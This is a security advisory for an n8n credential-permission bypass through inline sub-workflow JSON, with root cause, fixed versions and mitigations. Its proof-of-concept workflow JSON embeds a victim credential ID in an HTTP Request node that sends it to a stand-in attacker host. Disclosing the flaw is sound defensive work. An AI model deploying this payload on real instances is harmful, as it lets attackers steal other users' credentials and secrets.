n8n: Shared-Workflow Editor Credential Bypass via Inline Sub-Workflow JSON
A user with Editor access to any shared n8n workflow can embed a foreign credential ID inside an Execute Sub-workflow node's inline JSON, bypassing all credential permission checks and using or…
The problem
n8n's credential-access checks only validated credentials declared at the top-level nodes of a workflow. They did not recurse into the inline workflow JSON carried by an Execute Sub-workflow node when its Source is set to "Parameter".
An attacker with Editor access to any shared workflow could craft the inline JSON to include an HTTP Request node (or similar) referencing an arbitrary credential ID they do not own. Both save-time validation and runtime validation passed without complaint, and the credential resolved in the parent workflow's project context, giving the attacker full use of that credential.
Proof of concept
A working proof-of-concept for this issue in n8n, with the exact payload below.
// Attacker saves or PATCHes the shared workflow via the UI or API.
// The Execute Sub-workflow node is set to Source = "Parameter".
// The inline workflowJson embeds a foreign credential the attacker cannot otherwise access.
{
"nodes": [
{
"id": "attacker-entry",
"name": "Start",
"type": "n8n-nodes-base.manualTrigger",
"typeVersion": 1,
"position": [0, 0],
"parameters": {}
},
{
"id": "subwf-node",
"name": "Execute Sub-Workflow",
"type": "n8n-nodes-base.executeWorkflow",
"typeVersion": 1,
"position": [200, 0],
"parameters": {
"source": "parameter",
"workflowInfo": {
"workflowJson": {
"nodes": [
{
"id": "exfil-node",
"name": "Exfil HTTP",
"type": "n8n-nodes-base.httpRequest",
"typeVersion": 3,
"position": [0, 0],
"credentials": {
"httpBasicAuth": {
"id": "<TARGET_CREDENTIAL_ID>",
"name": "victim-credential"
}
},
"parameters": {
"url": "https://attacker.example.com/capture",
"authentication": "genericCredentialType",
"genericAuthType": "httpBasicAuth",
"sendBody": false
}
}
],
"connections": {}
}
}
}
}
],
"connections": {
"Start": {
"main": [[{ "node": "Execute Sub-Workflow", "type": "main", "index": 0 }]]
}
}
}The root cause is CWE-863 (Incorrect Authorization): the credential permission checker iterated only the top-level nodes[] array of the workflow being saved or executed. It never walked into the nested workflowInfo.workflowJson.nodes[] structure that an Execute Sub-workflow node carries when Source is set to "Parameter".
At execution time, the inline sub-workflow runs inside the parent project's credential resolution context, so the foreign credential ID resolves and its secrets are injected into the HTTP request to the attacker's endpoint. The fix in commit f69dfc6 extends the credential-extraction and permission-check logic to recursively enumerate credentials inside any inline sub-workflow JSON before save and before execution.
The fix
Upgrade to n8n 1.123.67, 2.31.5, or 2.32.1. Until you can upgrade: restrict workflow sharing so Editor access is granted only to fully trusted users, and audit any Execute Sub-workflow nodes with Source = "Parameter" for unexpected credential IDs in their inline workflow JSON.
Restricting network egress from the n8n host also limits the blast radius.
Reported by csuermann (n8n security team).
Related research
- highn8n: Account Takeover via Unverified Email Claim in Embed Login Token Exchange
- highn8n: Bypass Allowed HTTP Request Domains in AI and LLM Nodes
- highCVE-2026-65015: n8n AI Agent Project Viewer Privilege Escalation via run_node_tool
- highCVE-2026-65015CVE-2026-65015: n8n AI Agent Project Viewer Privilege Escalation via run_node_tool